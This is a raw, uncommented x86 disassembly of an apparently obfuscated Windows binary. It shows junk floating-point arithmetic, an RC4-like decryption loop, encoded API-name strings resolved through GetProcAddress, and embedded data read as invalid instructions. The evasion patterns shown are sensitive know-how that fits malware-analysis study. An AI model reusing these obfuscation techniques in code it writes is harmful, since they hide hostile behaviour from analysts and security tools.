movsd qword [ebp - 0x5384], xmm0
movsd xmm0, qword [ebp - 0x44e8]
comisd xmm0, xmmword [ebp - 0x43a0]
jbe 0x486aa8
movzx eax, byte [ebp - 0x3279]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x32b7]
add eax, edx
mov byte [ebp - 0x32b7], al
mov cl, byte [ebp - 0x3279]
add cl, 1
mov byte [ebp - 0x3279], cl
movsd xmm0, qword [ebp - 0x4f8c]
mulsd xmm0, qword [ebp - 0x4724]
movsd qword [ebp - 0x4f8c], xmm0
movsd xmm0, qword [ebp - 0x44e8]
mulsd xmm0, qword [ebp - 0x489c]
movsd qword [ebp - 0x44e8], xmm0
movsd xmm0, qword [ebp - 0x4540]
subsd xmm0, qword [ebp - 0x44e8]
movsd qword [ebp - 0x4540], xmm0
movsd xmm0, qword [ebp - 0x4724]
mulsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x4724]
addsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x489c]
addsd xmm0, qword [ebp - 0x4f8c]
movsd qword [ebp - 0x489c], xmm0
movsd xmm0, qword [ebp - 0x44e8]
subsd xmm0, qword [ebp - 0x489c]
movsd qword [ebp - 0x44e8], xmm0
jmp 0x486d63
movsd xmm0, qword [ebp - 0x4540]
mulsd xmm0, qword [ebp - 0x489c]
movsd qword [ebp - 0x4540], xmm0
movsd xmm0, qword [ebp - 0x43a0]
divsd xmm0, qword [ebp - 0x4540]
movsd qword [ebp - 0x43a0], xmm0
movsd xmm0, qword [ebp - 0x489c]
mulsd xmm0, qword [ebp - 0x4724]
movsd qword [ebp - 0x489c], xmm0
movsd xmm0, qword [ebp - 0x44e8]
subsd xmm0, qword [ebp - 0x4f8c]
movsd qword [ebp - 0x44e8], xmm0
movsd xmm0, qword [ebp - 0x4540]
subsd xmm0, qword [ebp - 0x489c]
movsd qword [ebp - 0x4540], xmm0
movsd xmm0, qword [ebp - 0x489c]
subsd xmm0, qword [ebp - 0x4724]
movsd qword [ebp - 0x489c], xmm0
movsd xmm0, qword [ebp - 0x489c]
divsd xmm0, qword [ebp - 0x4724]
movsd qword [ebp - 0x489c], xmm0
movsd xmm0, qword [ebp - 0x43a0]
addsd xmm0, qword [ebp - 0x5384]
movsd qword [ebp - 0x43a0], xmm0
movsd xmm0, qword [ebp - 0x4f8c]
mulsd xmm0, qword [ebp - 0x4724]
movsd qword [ebp - 0x4f8c], xmm0
movsd xmm0, qword [ebp - 0x4724]
addsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x489c]
subsd xmm0, qword [ebp - 0x4f8c]
movsd qword [ebp - 0x489c], xmm0
movsd xmm0, qword [ebp - 0x4540]
mulsd xmm0, qword [ebp - 0x44e8]
movsd qword [ebp - 0x4540], xmm0
movsd xmm0, qword [ebp - 0x44e8]
mulsd xmm0, qword [ebp - 0x489c]
movsd qword [ebp - 0x44e8], xmm0
movsd xmm0, qword [ebp - 0x43a0]
mulsd xmm0, qword [ebp - 0x5384]
movsd qword [ebp - 0x43a0], xmm0
movsd xmm0, qword [ebp - 0x44e8]
comisd xmm0, xmmword [ebp - 0x5384]
jbe 0x486cbb
movsd xmm0, qword [ebp - 0x43a0]
subsd xmm0, qword [ebp - 0x5384]
movsd qword [ebp - 0x43a0], xmm0
movsd xmm0, qword [ebp - 0x4540]
mulsd xmm0, qword [ebp - 0x44e8]
movsd qword [ebp - 0x4540], xmm0
movsd xmm0, qword [ebp - 0x4f8c]
divsd xmm0, qword [ebp - 0x4724]
movsd qword [ebp - 0x4f8c], xmm0
movsd xmm0, qword [ebp - 0x44e8]
divsd xmm0, qword [ebp - 0x489c]
movsd qword [ebp - 0x44e8], xmm0
movsd xmm0, qword [ebp - 0x5384]
subsd xmm0, qword [ebp - 0x4540]
movsd qword [ebp - 0x5384], xmm0
movsd xmm0, qword [ebp - 0x489c]
divsd xmm0, qword [ebp - 0x4f8c]
movsd qword [ebp - 0x489c], xmm0
movsd xmm0, qword [ebp - 0x4f8c]
subsd xmm0, qword [ebp - 0x4724]
movsd qword [ebp - 0x4f8c], xmm0
jmp 0x486d63
movsd xmm0, qword [ebp - 0x5384]
divsd xmm0, qword [ebp - 0x4540]
movsd qword [ebp - 0x5384], xmm0
movsd xmm0, qword [ebp - 0x4f8c]
subsd xmm0, qword [ebp - 0x4724]
movsd qword [ebp - 0x4f8c], xmm0
movsd xmm0, qword [ebp - 0x44e8]
divsd xmm0, qword [ebp - 0x489c]
movsd qword [ebp - 0x44e8], xmm0
movsd xmm0, qword [ebp - 0x4540]
mulsd xmm0, qword [ebp - 0x44e8]
movsd qword [ebp - 0x4540], xmm0
movsd xmm0, qword [ebp - 0x4724]
divsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x4724]
subsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x43a0]
subsd xmm0, qword [ebp - 0x5384]
movsd qword [ebp - 0x43a0], xmm0
movzx edx, byte [ebp - 0x32b7]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ebp - 0x330c]
shl ecx, 0
lea esi, [ebp - 0x29a8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x32b8]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [ebp - 0x32b7]
shl edx, 0
lea esi, [ebp - 0x29a8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3279]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [ebp - 0x32b8]
shl eax, 0
lea esi, [ebp - 0x29a8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3279]
shl edx, 0
lea eax, [ebp - 0x29a8]
mov cl, byte [ebp - 0x337e]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x337e]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x337d]
add edx, ecx
mov byte [ebp - 0x337d], dl
movzx eax, byte [ebp - 0x337c]
movzx ecx, byte [ebp - 0x32b7]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3279]
shl edx, 0
lea esi, [ebp - 0x29a8]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x32b8]
shl edx, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x330c]
shl ecx, 0
lea esi, [ebp - 0x29a8]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x337d]
shl ecx, 0
lea esi, [ebp - 0x29a8]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x32b8], al
mov al, byte [ebp - 0x337c]
mov byte [ebp - 0x330c], al
mov cl, byte [ebp - 0x32b8]
mov byte [ebp - 0x3476], cl
cmp dword [ebp - 0x343c], 0
jbe 0x486efb
mov edx, dword [ebp - 0x343c]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x2138]
mov cl, byte [ebp - 0x3476]
mov byte [edx + eax], cl
jmp 0x4861c3
mov edx, dword [ebp - 0x38e8]
add edx, 1
mov dword [ebp - 0x38e8], edx
mov eax, dword [ebp - 0x343c]
add eax, 1
mov dword [ebp - 0x343c], eax
mov ecx, dword [ebp - 0x38e8]
add ecx, 1
mov dword [ebp - 0x38e8], ecx
mov edx, dword [ebp - 0x343c]
shl edx, 1
mov dword [ebp - 0x4050], edx
mov eax, dword [ebp - 0x4050]
shl eax, 0
add eax, dword [ebp - 0x41c0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f20], ecx
mov dword [ebp - 0x3f24], 0x55
mov edx, dword [ebp - 0x343c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x4054], edx
mov eax, dword [ebp - 0x4054]
shl eax, 0
add eax, dword [ebp - 0x41c0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f28], ecx
mov dword [ebp - 0x3f2c], 0xbf
mov edx, dword [ebp - 0x3f20]
sub edx, dword [ebp - 0x3f24]
mov dword [ebp - 0x3f30], edx
mov eax, dword [ebp - 0x3f28]
sub eax, dword [ebp - 0x3f2c]
mov dword [ebp - 0x3f34], eax
mov ecx, dword [ebp - 0x3f30]
shl ecx, 4
mov dword [ebp - 0x4058], ecx
mov edx, dword [ebp - 0x3f34]
mov dword [ebp - 0x405c], edx
mov eax, dword [ebp - 0x4058]
or eax, dword [ebp - 0x405c]
mov dword [ebp - 0x4060], eax
mov cl, byte [ebp - 0x4060]
mov byte [ebp - 0x337c], cl
movzx edx, byte [ebp - 0x330c]
shl edx, 0
lea eax, [ebp - 0x29a8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x337e], cl
movzx edx, byte [ebp - 0x3279]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x32b7]
add edx, ecx
mov byte [ebp - 0x32b7], dl
mov al, byte [ebp - 0x3279]
add al, 1
mov byte [ebp - 0x3279], al
movzx ecx, byte [ebp - 0x32b7]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [ebp - 0x330c]
shl eax, 0
lea esi, [ebp - 0x29a8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x32b8]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ebp - 0x32b7]
shl ecx, 0
lea esi, [ebp - 0x29a8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3279]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [ebp - 0x32b8]
shl edx, 0
lea esi, [ebp - 0x29a8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3279]
shl ecx, 0
lea edx, [ebp - 0x29a8]
mov al, byte [ebp - 0x337e]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x337e]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x337d]
add ecx, eax
mov byte [ebp - 0x337d], cl
movzx edx, byte [ebp - 0x337c]
movzx eax, byte [ebp - 0x32b7]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3279]
shl ecx, 0
lea esi, [ebp - 0x29a8]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x32b8]
shl ecx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x330c]
shl eax, 0
lea esi, [ebp - 0x29a8]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x337d]
shl eax, 0
lea esi, [ebp - 0x29a8]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x32b8], dl
mov dl, byte [ebp - 0x337c]
mov byte [ebp - 0x330c], dl
mov al, byte [ebp - 0x32b8]
mov byte [ebp - 0x3476], al
cmp dword [ebp - 0x343c], 0
jbe 0x4871ce
mov ecx, dword [ebp - 0x343c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x2138]
mov al, byte [ebp - 0x3476]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x38e8]
add ecx, 6
mov dword [ebp - 0x38e8], ecx
mov edx, dword [ebp - 0x343c]
add edx, 1
mov dword [ebp - 0x4a9c], edx
jmp 0x4871fd
mov eax, dword [ebp - 0x4a9c]
add eax, 1
mov dword [ebp - 0x4a9c], eax
mov ecx, dword [ebp - 0x4a9c]
cmp ecx, dword [ebp - 0x38e8]
jge 0x4874c6
mov edx, dword [ebp - 0x343c]
add edx, 1
mov dword [ebp - 0x343c], edx
mov eax, dword [ebp - 0x343c]
shl eax, 1
mov dword [ebp - 0x4050], eax
mov ecx, dword [ebp - 0x4050]
shl ecx, 0
add ecx, dword [ebp - 0x41c0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f20], edx
mov dword [ebp - 0x3f24], 0x55
mov eax, dword [ebp - 0x343c]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4054], eax
mov ecx, dword [ebp - 0x4054]
shl ecx, 0
add ecx, dword [ebp - 0x41c0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f28], edx
mov dword [ebp - 0x3f2c], 0xbf
mov eax, dword [ebp - 0x3f20]
sub eax, dword [ebp - 0x3f24]
mov dword [ebp - 0x3f30], eax
mov ecx, dword [ebp - 0x3f28]
sub ecx, dword [ebp - 0x3f2c]
mov dword [ebp - 0x3f34], ecx
mov edx, dword [ebp - 0x3f30]
shl edx, 4
mov dword [ebp - 0x4058], edx
mov eax, dword [ebp - 0x3f34]
mov dword [ebp - 0x405c], eax
mov ecx, dword [ebp - 0x4058]
or ecx, dword [ebp - 0x405c]
mov dword [ebp - 0x4060], ecx
mov dl, byte [ebp - 0x4060]
mov byte [ebp - 0x337c], dl
movzx eax, byte [ebp - 0x330c]
shl eax, 0
lea ecx, [ebp - 0x29a8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x337e], dl
movzx eax, byte [ebp - 0x3279]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x32b7]
add eax, edx
mov byte [ebp - 0x32b7], al
mov cl, byte [ebp - 0x3279]
add cl, 1
mov byte [ebp - 0x3279], cl
movzx edx, byte [ebp - 0x32b7]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ebp - 0x330c]
shl ecx, 0
lea esi, [ebp - 0x29a8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x32b8]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [ebp - 0x32b7]
shl edx, 0
lea esi, [ebp - 0x29a8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3279]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [ebp - 0x32b8]
shl eax, 0
lea esi, [ebp - 0x29a8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3279]
shl edx, 0
lea eax, [ebp - 0x29a8]
mov cl, byte [ebp - 0x337e]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x337e]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x337d]
add edx, ecx
mov byte [ebp - 0x337d], dl
movzx eax, byte [ebp - 0x337c]
movzx ecx, byte [ebp - 0x32b7]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3279]
shl edx, 0
lea esi, [ebp - 0x29a8]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x32b8]
shl edx, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x330c]
shl ecx, 0
lea esi, [ebp - 0x29a8]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x337d]
shl ecx, 0
lea esi, [ebp - 0x29a8]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x32b8], al
mov al, byte [ebp - 0x337c]
mov byte [ebp - 0x330c], al
mov cl, byte [ebp - 0x32b8]
mov byte [ebp - 0x3476], cl
cmp dword [ebp - 0x343c], 0
jbe 0x4874c1
mov edx, dword [ebp - 0x343c]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x2138]
mov cl, byte [ebp - 0x3476]
mov byte [edx + eax], cl
jmp 0x4871ee
mov edx, dword [ebp - 0x38e8]
add edx, 1
mov dword [ebp - 0x38e8], edx
mov eax, dword [ebp - 0x343c]
add eax, 1
mov dword [ebp - 0x343c], eax
mov ecx, dword [ebp - 0x38e8]
add ecx, 1
mov dword [ebp - 0x38e8], ecx
mov edx, dword [ebp - 0x343c]
shl edx, 1
mov dword [ebp - 0x4050], edx
mov eax, dword [ebp - 0x4050]
shl eax, 0
add eax, dword [ebp - 0x41c0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f20], ecx
mov dword [ebp - 0x3f24], 0x55
mov edx, dword [ebp - 0x343c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x4054], edx
mov eax, dword [ebp - 0x4054]
shl eax, 0
add eax, dword [ebp - 0x41c0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f28], ecx
mov dword [ebp - 0x3f2c], 0xbf
mov edx, dword [ebp - 0x3f20]
sub edx, dword [ebp - 0x3f24]
mov dword [ebp - 0x3f30], edx
mov eax, dword [ebp - 0x3f28]
sub eax, dword [ebp - 0x3f2c]
mov dword [ebp - 0x3f34], eax
mov ecx, dword [ebp - 0x3f30]
shl ecx, 4
mov dword [ebp - 0x4058], ecx
mov edx, dword [ebp - 0x3f34]
mov dword [ebp - 0x405c], edx
mov eax, dword [ebp - 0x4058]
or eax, dword [ebp - 0x405c]
mov dword [ebp - 0x4060], eax
mov cl, byte [ebp - 0x4060]
mov byte [ebp - 0x337c], cl
movzx edx, byte [ebp - 0x330c]
shl edx, 0
lea eax, [ebp - 0x29a8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x337e], cl
movzx edx, byte [ebp - 0x3279]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x32b7]
add edx, ecx
mov byte [ebp - 0x32b7], dl
mov al, byte [ebp - 0x3279]
add al, 1
mov byte [ebp - 0x3279], al
movzx ecx, byte [ebp - 0x32b7]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [ebp - 0x330c]
shl eax, 0
lea esi, [ebp - 0x29a8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x32b8]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ebp - 0x32b7]
shl ecx, 0
lea esi, [ebp - 0x29a8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3279]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [ebp - 0x32b8]
shl edx, 0
lea esi, [ebp - 0x29a8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3279]
shl ecx, 0
lea edx, [ebp - 0x29a8]
mov al, byte [ebp - 0x337e]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x337e]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x337d]
add ecx, eax
mov byte [ebp - 0x337d], cl
movzx edx, byte [ebp - 0x337c]
movzx eax, byte [ebp - 0x32b7]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3279]
shl ecx, 0
lea esi, [ebp - 0x29a8]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x32b8]
shl ecx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x330c]
shl eax, 0
lea esi, [ebp - 0x29a8]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x337d]
shl eax, 0
lea esi, [ebp - 0x29a8]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x32b8], dl
mov dl, byte [ebp - 0x337c]
mov byte [ebp - 0x330c], dl
mov al, byte [ebp - 0x32b8]
mov byte [ebp - 0x3476], al
cmp dword [ebp - 0x343c], 0
jbe 0x487794
mov ecx, dword [ebp - 0x343c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x2138]
mov al, byte [ebp - 0x3476]
mov byte [ecx + edx], al
mov ecx, 1
imul edx, ecx, 0xf
mov dword [ebp - 0x5dd8], edx
cmp dword [ebp - 0x5dd8], 0x10
jae 0x4877ad
jmp 0x4877b2
call fcn.009b1617
lea eax, [ebp - 0x2138]
add eax, dword [ebp - 0x5dd8]
mov byte [eax], 0
jmp 0x487814
mov dword [ebp - 0x343c], 0
jmp 0x4877de
mov ecx, dword [ebp - 0x343c]
add ecx, 1
mov dword [ebp - 0x343c], ecx
cmp dword [ebp - 0x343c], 0x10
jae 0x487814
mov edx, dword [ebp - 0x343c]
mov dword [ebp - 0x5dd4], edx
cmp dword [ebp - 0x5dd4], 0x10
jae 0x4877fe
jmp 0x487803
call fcn.009b1617
lea eax, [ebp - 0x2138]
add eax, dword [ebp - 0x5dd4]
mov byte [eax], 0
jmp 0x4877cf
lea ecx, [ebp - 0x2138]
push ecx
mov edx, dword [ebp - 0x348c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa00bc4], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x538c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x511c], xmm0
mov dword [ebp - 0x33e8], 0
mov dword [ebp - 0x4aa0], 0
mov dword [ebp - 0x583c], 0
mov dword [ebp - 0x5624], 1
mov dword [ebp - 0x4658], 0
mov dword [ebp - 0x5b5c], 0
mov dword [ebp - 0x3748], 0
mov dword [ebp - 0x3e04], 0
mov dword [ebp - 0x3c50], 0
mov dword [ebp - 0x3c4c], 0
mov dword [ebp - 0x3e08], 0
mov dword [ebp - 0x3c48], 0
mov dword [ebp - 0x3c44], 0
mov dword [ebp - 0x3c40], 0
mov dword [ebp - 0x3c3c], 0
mov dword [ebp - 0x3e0c], 0
mov dword [ebp - 0x3e10], 0
mov dword [ebp - 0x3e14], 0
mov dword [ebp - 0x4af0], 0
mov byte [ebp - 0x325d], 0
mov byte [ebp - 0x328f], 0
mov byte [ebp - 0x3328], 0
mov byte [ebp - 0x3290], 0
mov byte [ebp - 0x32d6], 0
mov byte [ebp - 0x3402], 0
mov byte [ebp - 0x3da7], 0
mov byte [ebp - 0x3329], 0
mov byte [ebp - 0x3326], 0
mov byte [ebp - 0x345e], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x538c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x511c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x511c], xmm0
jmp 0x487982
movsd xmm0, qword [ebp - 0x511c]
addsd xmm0, qword [0x9d3058]
movsd qword [ebp - 0x511c], xmm0
movsd xmm0, qword [0x9d4f48]
comisd xmm0, xmmword [ebp - 0x511c]
jbe 0x487a33
movsd xmm0, qword [0x9d3e80]
mulsd xmm0, qword [ebp - 0x511c]
mulsd xmm0, qword [ebp - 0x511c]
movsd xmm1, qword [ebp - 0x511c]
mulsd xmm1, qword [ebp - 0x511c]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d3a48]
mulsd xmm1, qword [ebp - 0x511c]
mulsd xmm1, qword [ebp - 0x511c]
addsd xmm1, qword [0x9d3a68]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x538c]
movsd qword [ebp - 0x538c], xmm0
movsd xmm0, qword [ebp - 0x538c]
comisd xmm0, xmmword [0x9d3be8]
jbe 0x487a2e
movsd xmm0, qword [0x9d3908]
mulsd xmm0, qword [ebp - 0x511c]
movsd xmm1, qword [ebp - 0x538c]
subsd xmm1, xmm0
movsd qword [ebp - 0x538c], xmm1
jmp 0x48796a
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x538c]
jbe 0x487a78
ja 0x487a6f
insb byte es:[edi], dx
push edx
ja 0x487a6f
aaa
push esi
jo 0x487a91
jae 0x487a71
jnp 0x487a7d
popal
push ecx
dec eax
xchg byte [eax + 0x7d], cl
push eax
jnp 0x487a9e
mov byte [ecx - 0x80], dl
dec esp
jg 0x487aa4
inc esi
add byte [eax + eax*4 + 0x4b], 0x84
push ecx
mov dword [edx + 0x7f], edx
inc esi
or byte [edx + 0x7a], 0x4f
xchg byte [ebp - 0x7f], al
dec edx
jp 0x487ac2
push eax
jnp 0x487a5d
add eax, 0xc7000019
test dword [eax - 0x62], ecx
invalid
mov dword [ebp - 0x61b8], 0x487a51
mov dword [ebp - 0x61b4], 0x487a40
mov eax, dword [ebp - 0x61b8]
mov dword [ebp - 0x3f38], eax
mov ecx, dword [ebp - 0x61b4]
call dword [ecx + 0x7a]
dec eax
add bh, al
test dword [esi + ebx*4 - 1], ecx
inc dword [eax + 0x7a]
dec eax
add byte [ebx - 0x61b77b], cl
dec dword [ecx - 0x3f377b]
dec dword [ebx - 0x61b373]
dec dword [ecx - 0x61af73]
inc esi
test dword [ecx - 0x3e], ebx
invalid
mov dword [ebp - 0x61b0], ecx
mov byte [ebp - 0x3da7], 0x15
mov dword [ebp - 0x33e8], 0
mov dword [ebp - 0x4aa0], 0
mov dword [ebp - 0x33e8], 0
jmp 0x487ada
int3
mov edx, dword [ebp - 0x33e8]
add edx, 1
mov dword [ebp - 0x33e8], edx
cmp dword [ebp - 0x33e8], 0x100
jae 0x487b00
mov eax, dword [ebp - 0x33e8]
shl eax, 0
lea ecx, [ebp - 0x2018]
mov dl, byte [ebp - 0x33e8]
mov byte [eax + ecx], dl
jmp 0x487acb
mov dword [ebp - 0x4aa0], 0
mov byte [ebp - 0x3402], 0
mov dword [ebp - 0x33e8], 0xff
jmp 0x487b2c
mov eax, dword [ebp - 0x33e8]
sub eax, 1
mov dword [ebp - 0x33e8], eax
cmp dword [ebp - 0x33e8], 0
jbe 0x487df2
mov dword [ebp - 0x583c], 0
mov dword [ebp - 0x5624], 1
mov dword [ebp - 0x4658], 0
mov ecx, dword [ebp - 0x5624]
cmp ecx, dword [ebp - 0x33e8]
jae 0x487b78
mov edx, dword [ebp - 0x5624]
shl edx, 1
add edx, 1
mov dword [ebp - 0x5624], edx
jmp 0x487b57
mov eax, dword [ebp - 0x4aa0]
mov dword [ebp - 0x5dd0], eax
cmp dword [ebp - 0x5dd0], 3
ja case.default.0x487b97
mov ecx, dword [ebp - 0x5dd0]
jmp dword [ecx*4 + 0x4de83c]
movzx edx, byte [ebp - 0x3402]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x538c]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3402], bl
jmp 0x487c9e
movzx ecx, byte [ebp - 0x3402]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x538c]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3402], bl
jmp 0x487c9e
movzx eax, byte [ebp - 0x3402]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x538c]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3402], bl
jmp 0x487c9e
movzx edx, byte [ebp - 0x3402]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x538c]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3402], bl
jmp 0x487c9e
movzx ecx, byte [ebp - 0x3402]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ecx + edx]
mov ecx, dword [ebp - 0x4aa0]
sub ecx, 4
shl ecx, 0
add ecx, dword [ebp - 0x61b0]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3402], al
mov eax, dword [ebp - 0x4aa0]
add eax, 1
mov dword [ebp - 0x4aa0], eax
movzx ecx, byte [ebp - 0x3da7]
cmp dword [ebp - 0x4aa0], ecx
jb 0x487cdc
mov dword [ebp - 0x4aa0], 0
movzx edx, byte [ebp - 0x3da7]
movzx eax, byte [ebp - 0x3402]
add eax, edx
mov byte [ebp - 0x3402], al
